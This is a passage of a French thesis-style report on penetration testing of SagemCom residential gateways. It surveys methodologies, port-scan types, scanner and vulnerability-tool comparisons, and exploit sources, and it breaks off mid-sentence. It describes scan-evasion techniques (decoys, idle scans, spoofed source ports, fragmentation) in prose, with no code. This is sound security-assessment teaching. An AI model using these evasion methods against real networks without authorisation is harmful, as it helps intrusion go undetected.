Les tests de pénétrations peuvent être réalisés de plusieurs façons. Généralement, ils se différent en fonction du taux d’informations disponibles avant le démarrage des tests. Dans ce cas, on peut parler des notions de « boite noire » ou « boite blanche » connue sous le nom de Black box testing et White box testing:

Page 14

Chapitre 2

Concepts de base

Black box testing : c’est une méthode permettant de réaliser des tests fonctionnels ou non fonctionnel s ne faisant pas référence aux structures internes du système en question. On suppose que le système est une sorte de boite noire sur laquelle on va essayer de dégager le maximum possible d’informations en se basant sur les résultats fournis des tests dans la phase de collecte d’informations. Ces tests simulent une attaque réalisée à partir de l’extérieur de l’entreprise.

White box testing: Contrairement au « Black box testing», le « White box testing» est une méthode de pentesting permettant de faire des tests sur un système dont on connait le fonctionnement interne, l’architecture réseaux, l’emplacement des serveurs, les systèmes d’exploitation utilisés, les langages de programmations des applications, les versions des logiciels, etc. Les tests réalisés simulent des attaques à partir de l’intérieur en se basant sur des informations récupérées par le vol de documents, etc.

Les deux méthodes de pentesting « Black & White » sont complémentaires et essentielles au cours des testes de pénétrations. Les tests des boites blanches sont nécessaires pour déterminer des failles et des vulnérabilités que les scanneurs des vulnérabilités automatiques ne peuvent pas déterminer. L’inconvénient du « White Box testing » est que cette méthode est coûteuse en temps car l'analyse manuelle est lente. De plus, si une erreur existe, il n’est pas aussi facile de déterminer son exploitation [6].

2.3.

Pentesting : Méthodologie et standard

Quand il s'agit de tests de pénétration, il n'y a pas une approche bien précise à suivre. Chaque réseau diffère des autres, chaque système a ses propres spécifications et chaque entreprise a ses propres objectifs de sécurité. Dans ce qui suit, nous allons présenter quelques standards et méthodologies connus dans le monde de la sécurité informatique.

2.3.1. OSSTMM
La méthodologie « Open Source Security Testing Methodology Manual» (OSSTMM), développée par « OpSec », décrit les démarches à suivre afin de réaliser un audit de sécurité complet d’un système. [7] L'OSSTMM est constituée de 5 sections distinctes: l'information et le contrôle de données, la sensibilisation du personnel à la sécurité, le contrôle de fraudes et de l'ingénierie sociale, les réseaux d'ordinateurs et les réseaux de télécommunications. L'OSSTMM se focalise sur le choix des composantes à tester, sur les actions à effectuer avant, pendant et après un test de sécurité et sur la manière de mesurer les résultats. De nouveaux tests

Page 15

Chapitre 2

Concepts de base

relatifs aux meilleures pratiques internationales, aux lois et à la régularisation sont régulièrement ajoutés et actualisés. L’OSSTMM fournit une classification des périmètres à étudier comme suit Classe Sécurité physique (PHYSSEC) sous classe Humain Physique Description Des tests qui couvrent l'aspect humain de point de vue physique et psychologique. Des tests qui nécessitent un effort physique et un contact direct avec la cible (accès à la salle des serveurs par exemple). Des tests liés à l'aspect sans fil du système qui couvrent aussi les communications électroniques (ELSEC), signaux (SIGSEC) et les communications non câblés (EMSEC). Des tests qui couvrent les aspects liés à toute communication câblée. Des tests qui couvrent les communications établies intra-système via le réseau câblé.

Sécurité du spectre (SPECSEC) Sécurité de la communication (COMSEC)

Sans fil

Télécommunication Réseaux

Tableau 2 Classification OSSTMM

2.3.2. OWASP
La méthodologie « Open Web Application Security Project » (OWASP) est une démarche à suivre ainsi qu’un ensemble de tests et de recommandations pour analyser la sécurité des applications web. Les tests d’OWASP sont catégorisés comme suit : [8]           Collecter les informations : Phase de collecte d’informations sur l’application à tester. Tester les gestionnaires de configurations : cette phase couvre les gestionnaires de configurations des bases de données, du site web, l’accès à distance (Telnet, SSH, etc) Tester les modules d’authentification: tester l’authentification et la vérification d’identité lors de l’accès à l’application web. Tester les gestionnaires des sessions: tests sur les variables des sessions et cookies. Tester les autorisations : Ces tests couvrent les droits d’accès sur les données pour les différents acteurs de l’application. Tester le logique métier: tester la démarche à suivre afin d’effectuer une tâche bien précise. Tester la validation des données reçues: ces tests couvrent le contrôle sur les données reçues de la part des clients avant de les utiliser. Tester les attaques de type déni de service (DoS): tester la robustesse de l’application face à des attaques de type DoS. Tester les web services: tester les web services utilisés par l’application afin d’étudier les risques possibles à partir d’eux. Tester ajax: tester les fonctionnalités d’AJAX et les attaques qui peuvent les menacer.

Page 16

Chapitre 2

Concepts de base

2.3.3. Autres standards et méthodologies:
« Penetration Testing Execution Standard » (PTES) fournit un ensemble de règles et de recommandations afin d’établir des tests de pénétrations fiables et efficaces. PTES est structurée en sept sections principales [9]:  Pré-engagement : Cette phase présente principalement les discussions entre le testeur et le client afin d’éclaircir les buts des tests à effectuer et de lui donner une idée sur les grandes lignes des tests de pénétrations.  Collecte d’information : Cette phase consiste à collecter les informations sur le système. Ces informations incluent le comportement de système, les services, l’emplacement des machines, le système de sécurité, etc.  Modélisation des menaces : Dans cette étape on utilise les informations collectées afin de déterminer les risques et les vulnérabilités qui menacent le système. On détermine aussi les méthodes d’attaque les plus efficaces et les informations qu’on peut les récupérer suite à ces attaques. Il faut toujours déterminer des méthodes plus récentes et les failles « zero day2 ». Pour récapituler, il faut penser comme un hacker.  Analyse des Vulnérabilités : Il faut déterminer la façon avec laquelle on peut accéder à la cible. Afin de mieux remplir cette tâche, il faut combiner les informations acquises et les attaques possibles.  Exploitation : C’est la phase la plus critique car il s’agit de l’exploitation des failles et les vulnérabilités du système. Tous d’abord, il fait que le contrat signé entre le pentester et l’entreprise gère les cas où un ou plusieurs tests provoque la mise hors service le système, total ou partielle, pour éviter tous risque de poursuite judiciaire. Aussi, le pentester doit éviter les exploits qui provoquent l’arrêt total ou quasi-total du système.   Post Exploitation : Cette étape consiste à revérifier les systèmes des communications avec d’autres systèmes ou infrastructures. Rapports : Le rapport des tests comporte : o o o Qu’est ce qu’on a fait dans les tests. Comment on a fait ces tests. Comment on peut corriger les erreurs.

Conclusion
Au cours de ce chapitre, nous avons abordé les deux grands axes médiateurs de notre projet: les terminaux résidentiels et les tests de pénétrations. Ainsi nous avons commencé par la présentation

2

Faille « Zero Day » :c’est une faille non reconnus des applications ou des services sur un système bien défini.

Page 17

Chapitre 2

Concepts de base

des TRs, en particulier les TRs SagemCom, leurs fonctionnalités et les services qu’ils offrent. Ensuite nous avons introduit le « Pentesting » et son importance dans le monde des TR. Le troisième chapitre va joindre les deux axes et essayer de répondre à la question qui consiste à mettre en œuvre le pentesting dans le cas d’une passerelle résidentielle. Ainsi nous allons détailler chaque module offert par la passerelle : son fonctionnement et les différentes failles, vulnérabilités et attaques possibles.

Page 18

Chapitre 3

Etude de vulnérabilités des Terminaux Résidentiels

Les TRs SagemCom offrent plusieurs services et fonctionnalités qui peuvent être classifiés en modules que nous allons aborder dans ce chapitre, en mettant l’accent sur les vulnérabilités, les failles et les attaques possibles ainsi que les outils nécessaires pour le déroulement d’un plan de test de sécurité. Nous pouvons d’ores et déjà classifier ces services ou modules comme suit :  Module réseau : cette section couvrira les risques liés aux services réseaux offerts par les TRs, notamment dus au : o o o   Scan de ports, services et détections des OS. Scan des vulnérabilités réseaux et GUI. Attaques possibles sur les interfaces d’administration à distance et exploitation.

Module WIFI : dans cette section nous dégageons les différentes attaques et failles liées à la connectivité sans fils et qui présentent un risque potentiel pour les TRs. Module UPnP : dans cette section, nous introduisons le fonctionnement et l’implémentation de l’UPnP dans les TRs SagemCom et les risques que présente cette technologie.

Page 19

Chapitre 3

Etude de vulnérabilités des Terminaux Résidentiels

Module VoIP : cette section sera consacrée aux risques et aux vulnérabilités liées à l’implémentation de la téléphonie sur IP.

Tous les modules décrits ci-dessus seront accompagnés par une étude sur les différents outils nécessaires pour tester leur sécurité. Ce chapitre sera finalement conclu par une étude comparative des outils testés.

1. Module réseau
Cette partie va prendre la plus grande part de notre étude car elle comporte plusieurs axes à traiter et elle représente le point d’entrée pour les autres modules. D’abord, nous abordons la phase de collecte d’information, en mettant l’accent sur la partie du scan des ports, détections des services tournant sur le TR ainsi que son OS. En second lieu, nous entamons le scan des vulnérabilités. Cette partie va être devisée en deux sous parties : une consacrée aux scans automatiques des failles et des vulnérabilités et l’autre consacrée aux scans manuels, soit avec des outils spécifiques ou avec des exploits. Les recherches et les études réalisées dans cette partie se basent essentiellement sur les résultats dégagés de la première partie, collecte d’information. Finalement, nous exposons les différentes possibilités d’exploitations de ces failles et les outils correspondants.

1.1.

Ports, services et OS

La première phase à aborder dans les tests de pénétration est la collecte d’informations. Cette étape est très large dans le cas standard où les tests d’intrusion vont être appliqués sur un système informatique complet (une architecture réseau, des serveurs, des routeurs, des commutateurs, des zones DMZ, etc.). La collecte d’informations dans ce cas peut couvrir plusieurs vecteurs, allant de la collecte d’informations publiques sur internet ou par des simples commandes comme « whois », passant par le « Google hack » jusqu'à le scan des ports et des services. Dans notre cas les tests de pénétration vont être réalisés sur un seul dispositif, le terminal résidentiel, donc plusieurs étapes et méthodes ne sont pas applicables. Le « Google hack » et la commande « whois » ne fournissent aucune information utile puisque le TR est dédié à l’utilisation domestique. La partie la plus importante est alors le scan des ports et des services. L’importance de cette partie se concrétise dans le fait que les informations récupérées présentent une base solide qu’un attaquant peut utiliser pour orienter ces attaques et éviter les tests inutiles.

Page 20

Chapitre 3

Etude de vulnérabilités des Terminaux Résidentiels

1.1.1. Scan des ports
Le scan de port est une étape indispensable dans le pentesting. Son apport se présente dans le fait qu’il fournit une description détaillée sur l’état des ports de la machine cible. Ce pseudo-rapport nous donne une idée sur l’utilisation du port, affecté à un service bien défini ou une configuration personnalisée par le système. Le scan de port est utilisé souvent par les pirates informatiques pour tenter de trouver des vulnérabilités et des failles possibles sur la machine en question. On peut le considérer comme tentative d’intrusion car il sert souvent à préparer des attaques possibles. Ce scan nécessite des privilèges élevés pour pouvoir manipuler et créer des paquets de tests puisqu’il y a plusieurs techniques possibles qui requièrent des modifications précises sur les différents champs des paquets. 1.1.1.1. Types de scans des ports

Actuellement il existe plusieurs types de scan qui permettent de découvrir les ports et services tournant sur ou derrière un équipement connecté au réseau internet. Etant donné que, dans la pile TCP/IP, les deux protocoles les plus sollicités sont le TCP et l’UDP, nous allons donc nous intéresser à ces deux familles de scan [10].

UDP Scan
Malgré que la plupart des services utilisent le protocole TCP dans leurs communications, l’UDP est utilisé par plusieurs services importants comme le DNS, le SNMP ou le DHCP. Ce type de scan consiste à envoyer un paquet UDP sans données (en-tête seulement) et l’état du port se base sur le type du paquet reçu par la cible. Le scan UDP est généralement plus lent que le scan TCP.

TCP Scan
Connu aussi sous le nom de « TCP Connect », ce type est le plus simple des scans, il consiste à établir une connexion avec la cible sur le port en question et à la fermer immédiatement. L’avantage de ce type de scan est qu’il ne nécessite pas de privilèges spéciaux pour l’effectuer et utilise des fonctions système (connect( ) sous Unix). En contre partie, l’inconvénient majeur de ce scan qui le rend pratiquement inutilisable au moins depuis quelques années, c’est qu’il est bruyant et peut facilement être détecté et l’adresse IP de l’attaquant va être logué par les systèmes de détections d’intrusion.

Page 21

Chapitre 3

Etude de vulnérabilités des Terminaux Résidentiels

Figure 6 TCP Scan (sur un port ouvert)

SYN Scan
Ce type de scan est connu aussi sous le nom de « half-open scanning » car il n’établit jamais une connexion TCP complète. C’est un autre type du TCP Scan où le scanneur de port dans ce cas génère des paquets IP avec le fanion SYN activé. Si le port cible est ouvert alors il va répondre par un paquet SYN-ACK et le scanneur à son tour envoie un paquet RST pour fermer la connexion avant que le « handshake » soit achevé. Il peut être exécuté rapidement et scanner des milliers de ports par seconde sur un réseau rapide et il est relativement discret et furtif.

Figure 7 SYN Scan (sur un port ouvert)

ACK Scan
Le but de ce scan n’est pas la détection de l’état du port (ouvert ou fermé) mais plutôt s’il est filtré ou pas. Ceci est efficace pour tester l’existence d’un firewall ou de règles de sécurité. Le Le but de ce scan n’est pas la détection de l’état du port (ouvert ou fermé) mais plutôt s’il est filtré ou pas. Ceci est efficace pour tester l’existence d’un firewall ou de règles de sécurité. Le scanneur de port dans ce cas envoie des paquets TCP avec le fanion ACK à 1.

Autres types de scan
Il y a des types de scan qui peuvent furtivement traverser certains pare-feux ou routeurs (Stateless). La plupart des IDS de nos jours sont configurés pour détecter ce type de scan. Ci-dessous, on décrit le Fin Scan, TCP NULL Scan et X-mas Scan.

Page 22

Chapitre 3

Etude de vulnérabilités des Terminaux Résidentiels

Fin Scan n’active que le drapeau FIN utilisé si le scan SYN est détecté par le firewall.

Figure 8 Fin Scan (sur un port ouvert)

X-mas Scan active les trois drapeaux FIN, PSH et URG . La technique X-mas a été nommé en souvenir de l’attaque de Kevin Mitnick sur le serveur de Tsutomu Shimomura le jour du noël 1994.3

Figure 9 XMAS Scan (sur un port ouvert)

TCP NULL Scan n’active aucun drapeau de l’entête (entête TCP vaut 0).

Figure 10 TCP Null Scan (sur un port ouvert)

1.1.1.2.

Technique d’évasion

Les systèmes de sécurité actuels sont très sophistiqués et intelligents. Ils peuvent détecter même le scan de port car ils le considèrent comme attaque [11].  FTP bounce : Cette technique consiste à utiliser un serveur FTP pour scanner un hôte distant par rebond.
3

Le jour de noël 1994, Mitnick s'attaque à un expert en sécurité informatique et ancien hacker : le japonais Tsutomu Shimomura.

Page 23

Chapitre 3
 

Etude de vulnérabilités des Terminaux Résidentiels

TCP decoy : Cette technique consiste à leurrer l'hôte scanné, en dissimulant le scan parmi des scans fictifs d'hôtes. Idle scan : Dans l'établissement standard d'une connexion (SYN – SYN/ACK – ACK), les paquets transmis sont accompagnés d'un numéro d'identification appelé IPID. Ce dernier est incrémenté régulièrement sur certains systèmes (en particulier Windows). La technique consiste à exploiter cette faille afin de déterminer, en fonction de l'incrémentation de l'IPID, l'état d'un port. La spécificité de cette attaque réside dans le fait que l'attaquant utilise un hôte zombie afin de ne pas apparaître dans les fichiers journaux de l'hôte scanné.

Utilisation de ports source autorisés : afin d'augmenter les chances de légitimer le trafic généré par les scans, il est possible de forger les paquets en spécifiant des ports source légitimes pour le firewall (20/tcp, 21/tcp pour FTP, 80/tcp pour HTTP, etc.). Ainsi, le firewall est susceptible de laisser passer le trafic dans la mesure où il pourra le considérer comme un retour de connexion légitime. De la même manière, pour les scans UDP, un trafic en provenance du port 53/udp pourra être interprété par le firewall comme une réponse DNS.

Figure 11 Utiliser un port source autorisé pendant le scan

 

Fréquence d'envoi des paquets : il est possible de rendre un scan plus furtif en espaçant l'envoi des paquets à destination de la machine scannée. Fragmentation des paquets : Les détecteurs d'intrusions modernes comme Snort sont capables, par réassemblage des paquets, de détecter le scan. Il existe par ailleurs des outils spécifiques (tels que FragRouter) permettant de fragmenter tout ce qui sort d'un réseau.

Scan ACK : certains firewalls interdisent les paquets qui n'ont pas le flag ACK actif afin de limiter les tentatives d'intrusion.

Figure 12 Scan ACK

Page 24

Chapitre 3
1.1.1.3. Analyse des résultats

Etude de vulnérabilités des Terminaux Résidentiels

Chaque type de scan utilise des types bien spécifiques de paquets et par conséquence les réponses diffèrent aussi. Le scanneur de ports analyse les réponses et détermine l’état des ports en fonction des types de paquets reçus. Ci-dessous un tableau explicatif qui décrit chaque résultat en fonction des paquets envoyés. Type de scan Réponse reçue paquet SYN/ACK paquet RST ICMP (type3 code 1, 2, 3, 9,10 ou 13) aucune réponse "3 handshake" établi "3 handshake" non établi ICMP (type3 code 1, 2, 9,10 ou 13) ICMP (type 3, code 3) Paquet UDP ICMP (type3 code 1, 2, 3, 9,10 ou 13) paquet RST paquet RST ICMP (type3 code 1, 2, 3, 9,10 ou 13) aucune réponse Etat du port ouvert fermé filtré ouvert fermé filtré fermé ouvert filtré non filtré fermé filtré ouvert/filtré

SYN Scan

TCP Scan

UDP Scan

ACK Scan XMAS/FIN/TCP NULL Scan

Tableau 3 Etat du port par type du scan et réponse

Le problème qui se pose maintenant, est que tous les systèmes ne respectent pas la RFC 7934 à la lettre. Plusieurs systèmes renvoient des RST en réponse aux paquets reçus et ce quelque soit l'état du port de destination, qu'il soit ouvert ou pas [12].

1.1.2. Scan des services
Le scan de services suit le scan de port et son importance se présente dans le fait qu’il sert à détecter en premier lieu les noms des services tournant sur la machine cible et au-delà, il aide à dégager beaucoup d’informations comme la version et le nom d’application (ISC Bind, Appache httpd, Solaris telnetd, OpenRG telnetd, …). Ces informations seront très utiles pour le pentester, ainsi que le hacker, pour déterminer si le système testé implémente des services vulnérables ou des versions connues par leurs vulnérabilités et failles exploitables [13]. Le scan de services est basé sur le résultat de scan de port. Selon le numéro du port ouvert détecté le scanneur traite et analyse les résultats.  Si le port détecté ouvert est un port standard, comme les ports 25/tcp, 80/tcp et 53/udp, le scanneur n’aura pas besoin de lancer d’autre requête sur le même port pour déterminer le nom
4

RFC 793 : Spécification du protocole TCP, mise en place par DARP (Defense Advanced Research Projects Agency)

Page 25

Chapitre 3

Etude de vulnérabilités des Terminaux Résidentiels

des services, il utilise une base de données pour faire la correspondance. La plupart des scanneurs ne se limitent pas à cette étape mais ils essayent de déterminer le type de service (ex : jboss, tomcat, …). Cela est possibles en analysant les réponses reçues (ex : si le port 80 est ouvert donc il s’agit d’un serveur web (HTTP), ensuite le scanneur envoie une requête « GET / » pour collecter plus d’information).  Dans l’autre cas, où le port n’est pas standard (ex : 9003), le scanneur lance une série de test pour déterminer les types de protocoles utilisés (ex.: ftp, ssh, telnet, http). Une fois le protocole est fixé, le scanneur lance d’autres requêtes afin de connaître le nom de l'application (ex: ISC Bind, Appache httpd, Solaris telnetd), le numéro de version, etc.

1.1.3. Détection d’OS
L’utilité de la détection d’OS, ou « OS fingerprinting », est assez évidente, car il existe plusieurs failles de sécurité qui dépendent principalement du type de l’OS et sa version. Chaque faille peut être exploités différemment d’un OS à un autre et généralement les exploits visent quelques fichiers système et manipulent des comportements particuliers pour chaque OS. [14] Parmi les techniques connues dans la détection de l’OS, nous citons la technique « TCP/IP Fingerprinting ». Cette méthode consiste à envoyer jusqu'à 16 paquets TCP, UDP et ICMP aux ports ouverts de la cible. Chaque paquet est envoyé au moins une fois si le port est fermé. Le scanneur manipule tous les champs du paquet et les envoie dans un ordre spécial. Les résultats reçus contiennent plusieurs attributs qui seront soigneusement analysés et traités, et en combinant plusieurs résultats des différents types de paquets, le scanneur génère le fingerprint de ‘lOS. Il arrive parfois que le scanneur ne parvient pas à collecter les informations nécessaires pour déterminer l’OS de la cible à cause du manque de ports ouverts ou la mauvaise mise en place du standard du protocole RFCs. Dans ce cas, certain scanneur génèrent une liste des OS possibles avec un pourcentage d’approximation.

1.1.4. Outils de scan des ports
Il existe plusieurs outils de scan sur le marché. Il existe le libre, le gratuit, le payant, etc. Chacun d’eux a ces propres spécifications et fonctionnalités. Dans notre cas, qui est un peu spécial, les scans seront effectués sur un TR qui va surement provoquer des erreurs et des faux positifs pendant le scan.

Critère de choix
Dans notre étude de comparaison entre les différentes solutions de scan, nous jouons sur les critères de choix suivants:

Page 26

Chapitre 3
     

Etude de vulnérabilités des Terminaux Résidentiels

Réalisation des tous les types des scans listés ci-dessus. Réalisation des scans de services. Réalisation de la détection de l’OS. License Utilisations

Outils proposés
Nmap : C’est l’outil le plus connu comme scanneur de ports muni d’une base de données énorme contenant plus que de 2700 signature d’OS et 7300 versions de services. Il présente un outil très efficace pour le scan des ports. Il offre la possibilité d’utiliser et de créer des scripts personnalisés.  Unicornscan : C’est un scanneur de port connu. Iil assure aussi le scan des services mais il se limite au nom du protocole sans donner des informations supplémentaires sur les services détectés.   Scanrand : C’est un scanneur du port simple sans détection d’OS ou des services. Hping3 : C’est un forgeur de paquet conçu principalement pour les tests de sécurité des firewalls et des systèmes. Il peut être utilisé comme un scanneur de port car il offre la possibilité de manipuler les champs d’un paquet à envoyer (TCP/UDP/IP/ICMP). Son utilisation est dédiée pour les utilisateurs avancés. Type des scans SYN TCP UDP ACK Scan Scan Scan Scan NMAP Unicornscan Scanrand hping3 X X X X X X X X X X X X X X X X XMAS/FIN / TCP NULL Scan X X X X Scan des services X X Détectio n de l'OS X type de License gratuit gratuit gratuit gratuit

utilisation

plateforme

Simple Simple Moyen Difficile

Linux/Windows Linux Linux Linux/Windows

Tableau 4 Tableau comparatif des outils de scan

1.2.

Scan des vulnérabilités

Le scan de vulnérabilité est une étape indispensable dans les tests de pénétration. En se basant sur les résultats des scans réalisés dans l’étape précédente, ports ouverts, nom du service, version, type de l’OS et sa version, etc, le pentester doit dégager les risques et les failles qui peuvent présenter un danger pour le système testé. Des bases de données énormes des vulnérabilités sont mises à disposition des testeurs où chaque faille est décrite en détail avec la date de publication, la description détaillé, la plateforme utilisée, la solution envisageable, l’exploit s’il existe et les références de la faille sur les autres sites de vulnérabilités. Parmi ces sites nous trouvons :

Page 27

Chapitre 3

Etude de vulnérabilités des Terminaux Résidentiels

OSVDB : Open Source Vulnerability Data Base est une base de données de vulnérabilités developpée et mise en place par et pour la communité. Son but est la mise en place d’une plateforme solide, riche en information et extensible pour toute information liée à la sécurité informatique (vulnérabilité et faille).

  

NVD de NIST : National Vulnerability Database, elle est mise en place et maintenue par la National Institue of Standards and Technology. CVE : Common Vulnerability and Exposures, elle est mise en place et maintenue par MITRE organisation sans but lucratif qui s’intéresse au intérêt publique. US-CERT Vulnerability Notes Database : c’est une base de données d’informations liées aux vulnérabilités créé par le US-CERT (United State - Community Emergency Response Teams)

1.2.1. Types de scan des vulnérabilités
Si le testeur ne veut pas utiliser les sites cités auparavant ou il n’arrive pas à trouver des vulnérabilités connues sur le système testé comme pour notre cas terminal résidentiel avec un système bien spécifique alors il existe plusieurs autres techniques et méthodes à utiliser qu’on peut classifier sous deux procédures génériques:  Evaluation manuelle des vulnérabilités : Dans ce cas le pentester a recourt à développer ses propres cas de test et exploitations. Le cas le plus courant est celui des applications web car chaque application web est personnalisée selon les besoins des utilisateurs et la technologie utilisée.  Evaluation automatique des vulnérabilités : Dans ce cas le pentester utilise des scanneurs de vulnérabilités automatiques. Cette méthode est très avantageuse par rapport à la première méthode notamment car elle nous fait gagner énormément de temps. Les scanneurs automatiques de vulnérabilités couvrent toutes les failles connues (selon la version de scanneur, la mise à jour, etc.).

Dans notre cas, les technologies utilisées dans la conception et la mise en place des services et des applications implémentées dans le TR sont, plus ou moins, spécifiques aux besoins des TRs SagemCom. Il est clair que nous allons rencontrer certains problèmes avec les scanneurs des vulnérabilités car ils sont principalement dédiés pour des systèmes qui utilisent des technologies largement utilisés et déployés. Les scans manuels sont donc une étape à ne pas négliger, comme il est indique ci-dessus les outils de scan peuvent générer des faux positifs ou carrément ne pas trouver de failles, et ceci car le système testé est un peu particulier ou utilise des technologies non connues, voir propriétaires.

Page 28

Chapitre 3

Etude de vulnérabilités des Terminaux Résidentiels

1.2.2. Outils de scan des vulnérabilités
Dans cette section, on va présenter les différents types des scanneurs de vulnérabilités ainsi que leur fonctionnement. Généralement ces outils peuvent être classés sous deux catégories.   Scanneur de vulnérabilités générales qui couvre plusieurs axes : vulnérabilité réseaux, vulnérabilité liés au système d’exploitation, vulnérabilité liés aux services, etc. Scanneurs de vulnérabilité pour un type bien spécifique de services ou d’applications. Sous cette catégorie on trouve principalement les scanneurs des vulnérabilités des applications WEB et en second lieu ceux des bases de données. Dans le cas des TRs SagemCom, on a besoins que des scanneurs de vulnérabilités générales et ceux des applications WEB. 1.2.2.1. Scanneur de vulnérabilités automatique

Il existe plusieurs solutions système sous cette catégorie, on va s’intéresser à Nessus, Nexpose, OpenVAS, GFI Lan GUARD et QualysGuard :  Nessus : Scanneur de vulnérabilités proposé par « Teenable », conçu pour être utilisé sur plusieurs plateforme, il peut être installé sur un serveur à part et y accéder à partir de n’importe quelle machine sur le réseau. Il existe deux versions version payante et communautaire, la différence se concrétise dans les fonctionnalités et les services du support technique. Il se base sur les « Policies ». Ces derniers se composent de plusieurs options de configurations relatives au type de scan à réaliser tel que le type de scan de ports, les plugins à utiliser, les paramètres d’authentification pour les bases de données, site web, etc. Par défaut, Nessus offre quatre « Policies » : o o o o  External Network Scan : Scan sur des machines à l’extérieur du LAN qui présentent généralement moins de services pour les réseaux. Internal Network Scan : Scan sur des machines du LAN, ce scan est plus large que le premier car il couvre plus de services. Web App Tests : Scan sur les failles et vulnérabilités Web. Prepare for DCI PSS audits : aide à se préparer pour un audit PCI DSS.5

Nexpose : outil proposé par « Rapid7 », qui, comme « Nessus », offre deux versions, payantes et communautaire, cette dernière est très limitée de point de vue fonctionnalités. Nexpose nécessite un PC performant avec une configuration minimale présentant les caractéristiques suivantes : o 2 GHz processeur.

5

The Payment Card Industry Data Security Standard (PCI DSS) est une norme de protection des données pour les organismes qui traitent la sécurité des informations de titulaire de carte pour le débit, le crédit, payé d'avance, l'e-bourse, etc [33].

Page 29

Chapitre 3
o o o 

Etude de vulnérabilités des Terminaux Résidentiels 2 GB (32 bits), 4 GB RAM (64 bits). 10 GB + d’espace vide sur le disque. 100 Mbps pour la carte réseau. représente un système

OpenVas : OpenVAS « Open Vulnerability Assesement System »

d'évaluation de vulnérabilité open source et rassemble une gamme d’outils complète pour scanner la sécurité du réseau. Le noyau « OpenVAS » est un composant de serveur qui assure un ensemble de vulnérabilités « Network Vulnerability Tests » (NVTs) pour détecter les problèmes de sécurité dans les systèmes distants et les applications.   GFI Lan GUARD : outil payant de « GFI », pour les systèmes Windows, il est connu pour sa simplicité d’utilisation. Qualys Guard: solution payante de « Qualys », sa particularité est quelle offre ses services scan via le « Cloud Computing 6» sous forme de « SaaS 7». L’avantage majeur de cette solution est quelle ne nécessite aucune installation et par conséquence l’administrateur ou le responsable de la sécurité se concentre seulement sur les tests des pénétrations sans prendre en compte la configuration et la mise en place dans le réseau local. Tous les traitements se font chez les serveurs du fournisseur de services. Ci dessous un tableau comparatif entre les outils décrits auparavant, en se basant sur les critères de choix suivants:      Temps d’exécution. License. Plateforme. Extensibilité. Utilisation.

6

Cloud Computing : un concept qui consiste à déporter sur des serveurs distants des traitements informatiques traditionnellement localisés sur des serveurs locaux ou sur le poste client de l'utilisateur. 7 SaaS : Software as a Service, le client utilise des applications offertes par le fournisseur du système Cloud, certaine application peuvent être personnalisée par le client, on trouve par exemple Gmail, Google Documents, Google Maps…

Page 30

Chapitre 3

Etude de vulnérabilités des Terminaux Résidentiels

Temps d'exécution Nessus Nexpose OpenVas GFI LanGUARD QualysGuard
* **

type de License payant/communité payant/communité gratuit payant payant

plateforme Windows/linux Windows/linux linux Windows tous (SaaS)

Extensibilité* Oui Non Oui Non Non

Utilisation** difficile moyen difficile facile difficile

proportionnellement *** aux tests 5 minutes
****

proportionnellement *** aux tests proportionnellement aux tests *** plus ou moins long (scan à distance)

: quelques outils listés peuvent être extensibles par l’intégration d’autre outils ou l’utilisation de plugins. : l’utilisation est jugée de point de vue configuration et mise en place. *** : les temps de scan peuvent varier de quelques minutes jusqu’à quelque heures selon la configuration utilisée. **** : les scans proposés par la version communautaire du « Nexpose » ne dépassent pas les 5 minutes, ceci est dû à la limitation des fonctionnalités et des types de tests.
Tableau 5 Tableau comparatif des scanneurs des vulnérabilités automatiques

1.2.2.2.

Scanneur de vulnérabilités WEB

Vu que la plupart des services et applications convergent vers la technologie web, pour les avantages qu’elle offre en termes de cout et de performance. Cette migration, malgré ses avantages, portes aussi des inconvénients qui ont fait que le nombre de failles et de vulnérabilités à fortement augmenté. Pour y remédier et du moins les détecter, il existe une gamme d’outils spécialisés dans les scans des vulnérabilités web. Dans le cas des TRs SagemCom, les utilisateurs peuvent l’administrer à travers son interface web (ou GUI). Les TRs vu leurs limitations de point vu ressources (RAM, CPU, espace,…) ne peuvent pas implémenter des technologies web connue pour les grands serveurs, ou à la limite les utiliser dans quelques fonctionnalités. La plus part des outils disponibles sur le marché, sont dédiés pour des applications web utilisant des technologies connue (PHP, ASP, JSP,…) ou des CMS (JOOMLA, DRUPAL, WordPress,…), ceci est explicable car ils sont souvent utilisés. [15] Les critères de choix d’un scanneur de vulnérabilités sont nombreux, une étude comparatif à été effectué par l’université de Californie sur des différents scanneurs afin de dégager les meilleurs.

Tableau 6 Liste des outils et leur type de licence

Page 31

Chapitre 3

Etude de vulnérabilités des Terminaux Résidentiels

Ci-dessous un graphe qui présente le pourcentage des faux négatifs par rapport au résultat corrects selon le type de configuration; certains outils sont paramétrables et d’autre non.

Figure 13 Evaluation des resultats

Le temps d’exécution de scan est un critère très important de comparaison. Certains outils contiennent beaucoup plus que des fonctionnalités et des tests qui vont influencer par suite la durée d’exécutions.

Figure 14 Temps d'exécutions du scan

Les tests réalisés sur les TRs SagemCom, pour le scan des vulnérabilités web, ont prouvé que pour un système bien particulier, comme dans notre cas, on ne peut pas se limiter à l’utilisation d’un seul outil car chacun d’eux peut dégager des informations utiles que les autres ne trouvent forcément pas. Une autre remarque est que quelques outils classés parmi les meilleurs n’arrivent même pas à générer des résultats logiques et raisonnables sans parler de liens inexistant. Ces trois outils sont les plus appropriés pour notre cas, Nikto, SkipFish et un proxy web (ZAP de OWASP). ZAP est un proxy web qui sert à intercepter les requêtes http et peut faire des modifications sur leurs paramètres. Dans le cas d’authentification dans un site web, il est indispensable d’utiliser un proxy pour tester tous le contenu du site.

Page 32

Chapitre 3

Etude de vulnérabilités des Terminaux Résidentiels

1.3.

Exploits et autres types d’attaques

1.3.1. Exploits
C’est la dernière étape de la partie réseaux. Après toutes les étapes réalisées : scan des ports et services, détection de l’OS et scan des vulnérabilités, il faut bien les mettre en valeur et les utiliser afin de vérifier qu’ils s’agissent de vraie failles et défaillances ou juste des alertes de type faux négatifs. Il existe plusieurs méthodes possibles pour vérifier ce point et rédiger un rapport solide et complet qui contient une description réelle des vulnérabilités. Le testeur dans cette étape a le choix entre utiliser des exploits publics disponibles sur les sites des exploits ou rédiger ces propres exploits ou encore utiliser un outil de pénétrations comme le fameux « MetaSploit ». Les sites des exploits :   Security Focus : Chaque vulnérabilité et accompagnée par les différents exploits possibles. Exploit database : archive des exploits des applications et des systèmes. Ces derniers sont classés sous plusieurs catégories. La distribution « BackTrack 5 » offre un outil de recherche dans la base de données d’exploits. Un petit script développer permet de faire la mise à jour des exploits. (Voir annexe 2) Metasploit était un projet open-source sur la sécurité informatique qui fournit des informations sur des vulnérabilités, aide à la pénétration de systèmes informatisés et au développement de signatures pour les IDS. Le plus connu des sous-projets est le 